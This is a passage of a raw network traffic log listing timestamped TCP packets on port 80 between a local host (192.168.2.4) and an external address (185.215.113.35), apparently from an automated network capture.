Jan 14, 2022 12:30:21.081115961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.081226110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.081312895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.081403971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.081810951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.081892014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.081978083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.082575083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.082680941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.083743095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.083827019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.083915949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.084003925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.084820986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.084912062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.085660934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.085764885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.085855961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.086088896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.086179972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.086270094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.088581085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.088911057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.089003086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.089099884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.089190006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.089276075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.090142012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.090245008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.090539932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.090641975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.090733051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.090820074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.091551065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.091579914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.091586113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.091790915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.091908932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092014074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092124939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092214108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092370987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092614889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092688084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092824936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.092907906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093002081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093106985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093205929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093302011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093390942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093496084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093592882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093705893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093815088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.093926907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094008923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094106913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094219923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094311953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094419956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094504118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094602108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094710112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094810009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.094916105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095020056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095119953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095217943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095319033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095422983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095519066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095623970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095726967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095824957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.095927000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096025944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096127033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096224070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096324921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096417904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096525908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096678019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096781969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096888065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.096987009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097090960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097189903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097289085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097389936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097486019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097595930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097680092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097779989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097876072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.097975016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098073959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098175049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098273039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098372936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098474026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098570108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098684072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098781109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098891973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.098978996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.104762077 CET	80	49931	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.104911089 CET	49931	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.110420942 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.114490032 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.120719910 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.123538971 CET	49931	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.123848915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.123959064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.124059916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.125545025 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.125559092 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.125629902 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.125750065 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.126307964 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.126322031 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.129134893 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.131369114 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136007071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136025906 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136038065 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136049986 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136063099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136076927 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136087894 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.136101007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.138561010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.139246941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.139333010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141046047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141154051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141254902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141365051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141464949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141562939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141665936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141771078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141875982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.141974926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142081022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142174006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142271042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142307043 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.142323017 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.142330885 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.142338037 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.142379045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142482996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142580032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142652988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.142807007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.142901897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.143012047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.143035889 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.143115997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.143158913 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.143171072 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.143244982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.144989014 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.146698952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.147913933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.149029970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.149143934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.149235010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.149533987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.149636030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.149740934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.150295019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.150387049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.150475025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.150578022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.151093006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.151115894 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.151628971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.151640892 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.151870012 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.153263092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.153614998 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.154560089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.154823065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.154930115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.155038118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.155164003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.155426979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.155570984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.155704975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.155811071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.155909061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156004906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156105042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156199932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156308889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156398058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156497002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156594038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156706095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156809092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.156910896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157005072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157102108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157202959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157304049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157401085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157499075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157593012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157692909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157790899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157944918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.157984018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158087015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158184052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158279896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158380985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158477068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158577919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158674002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158772945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158868074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.158966064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159073114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159116030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159130096 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159136057 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159147978 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159162998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159260988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159333944 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159368038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159454107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159552097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159661055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159703970 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159740925 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159753084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159753084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159760952 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.159853935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.159949064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160042048 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.160043955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160146952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160239935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160244942 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.160340071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160435915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160538912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160547972 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.160559893 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.160639048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160732031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160830975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.160932064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.161026955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.184005022 CET	80	49931	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.189095020 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.195401907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.195554018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.195641041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.195758104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.195883036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.195918083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196016073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196105957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196198940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196299076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196388006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196481943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.196572065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199326038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199417114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199526072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199636936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199738979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199836016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.199933052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200087070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200155020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200254917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200345993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200454950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200548887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200644970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200805902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200896978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.200988054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201106071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201204062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201307058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201402903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201502085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201602936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201713085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201817036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.201913118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202027082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202131033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202256918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202404976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202533007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202626944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202721119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202812910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202904940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.202996016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203094959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203190088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203299999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203397036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203458071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.203497887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203594923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203701973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203811884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.203905106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204004049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204102993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204195976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204303980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204360008 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.204405069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204418898 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.204504013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204582930 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.204596996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.204998970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.205497026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.205516100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.205593109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.205737114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.205885887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.205965996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206074953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206171036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206270933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206363916 CET	49914	80	192.168.2.4	185.215.113.35
